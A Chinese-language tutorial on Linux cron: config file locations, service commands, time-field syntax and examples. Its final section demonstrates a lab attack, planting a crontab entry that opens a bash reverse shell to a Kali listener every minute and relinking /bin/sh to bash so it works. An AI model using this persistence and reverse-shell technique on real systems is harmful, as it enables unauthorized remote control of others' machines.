对Linux定时任务的认识
在Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。但是,Linux系统也给用户提供了可以自己设置计划,这就是定时任务。通过定时任务,用户可以自己设置在什么时候执行什么命令,在这个过程中涉及到 crontab 命令。
在Linux中,周期执行的任务一般由cron这个守护进程来处理,cron读取一个或多个配置文件,这些配置文件中包含了命令行及其调用时间,cron的配置文件称为“crontab”,是“cron table”的简写。
一般cron在3个地方查找配置文件:
/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名。
/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
cron服务一般是自启的:
service crond start 启动服务
service crond stop 关闭服务
service crond restart 重启服务
service crond reload 重新载入配置
service crond status 查看服务状态
cron有两个配置文件,一个是一个全局配置文件(/etc/crontab),是针对系统任务的;一组是crontab命令生成的配置文件(/var/spool/cron下的文件),是针对某个用户的。定时任务配置到任意一个中都可以。
查看全局配置文件配置情况:
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
查看当前用户下的定时任务:
crontab -l 或 cat /var/spool/cron/用户名
root就是我当前用户的定时任务。
crontab任务配置基本格式:
* * * * * (command)
第一个 * 表示分钟1~59,每分钟用 * 或者 */1 表示
第二个 * 表示小时1~23(0表示0点)
第三个 * 表示日期1~31
第四个 * 表示月份1~12
第五个 * 表示星期0~6(0表示星期天)
(command) 表示要运行的命令
在以上任何值中,星号(*)可以用来代表所有有效的值。比如,月份值中的星号意味着在满足其它制约条件后每月都执行该命令。
整数间的短线(-)指定一个整数范围。比如,1-4 意味着整数 1、2、3、4。
用逗号(,)隔开的一系列值指定一个列表。比如,3, 4, 6, 8 标明这四个指定的整数。
正斜线(/)可以用来指定间隔频率。在范围后加上 / 意味着在范围内可以跳过 integer。譬如,0-59/2 可以用来在分钟字段定义每两分钟。间隔频率值还可以和星号一起使用。例如,*/3 的值可以用在月份字段中表示每三个月运行一次任务。
开头为井号(#)的行是注释,不会被处理。
例如:
0 4 * * * rm ~/桌面/test.txt
//每天晚上四点删除 ~/桌面/ 这个目录下的 test.txt 这个文件
10 4 1,3,5 * * service apache2 restart
//表示每月1,3,5号的4:10会重启Apache服务器
......
参数说明:
usage: crontab [-u user] file
crontab [ -u user ] [ -i ] { -e | -l | -r }
(default operation is replace, per 1003.2)
-e (edit user's crontab)
-l (list user's crontab)
-r (delete user's crontab)
-i (prompt before deleting user's crontab)
例如:当前用户是root,创建root的定时任务
crontab -e //进入编辑模式
写下定时任务
然后查看当前用户的定时任务: crontab -l
我写的定时任务是在每天12:05时在/var/spool/cron/ 目录下创建一个test.txt文件,可以看到任务已经执行。
定时任务反弹shell:
通常在在网络安全中,我们用crontab创建定时任务反弹shell
在本地演示一下
攻击机:kali ip:192.168.1.184
目标机:ubuntu ip:192.168.1.170
演示开始:
先在攻击机上监听端口
[email protected]:~# nc -lvp 8888
listening 正在监听
接下来在目标机上写下定时任务
crontab -e //打开编辑器,写入
* * * * * bash -i >& /dev/tcp/192.168.1.184/8888 0>&1
成功反弹shell
不过在ubuntu下写定时任务反弹shell有个问题:
通常linux里面的cron中command执行的shell环境是/bin/sh
而在ubuntu中的/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell ,而实际上dash这个shell只有运行脚本的能力,而没有交互能力。 这里我们只需要将sh的软链接修改为bash即可
sudo ln - s -f bash /bin/sh //修改软连接需要root权限
修改成功后就会出现上面反弹shell成功。
Ubuntu下计划任务反弹shell需要注意的事项:
1.需要用root权限书写计划
2.书写crontab计划的时候要将/bin/sh 软链接到 /bin/bash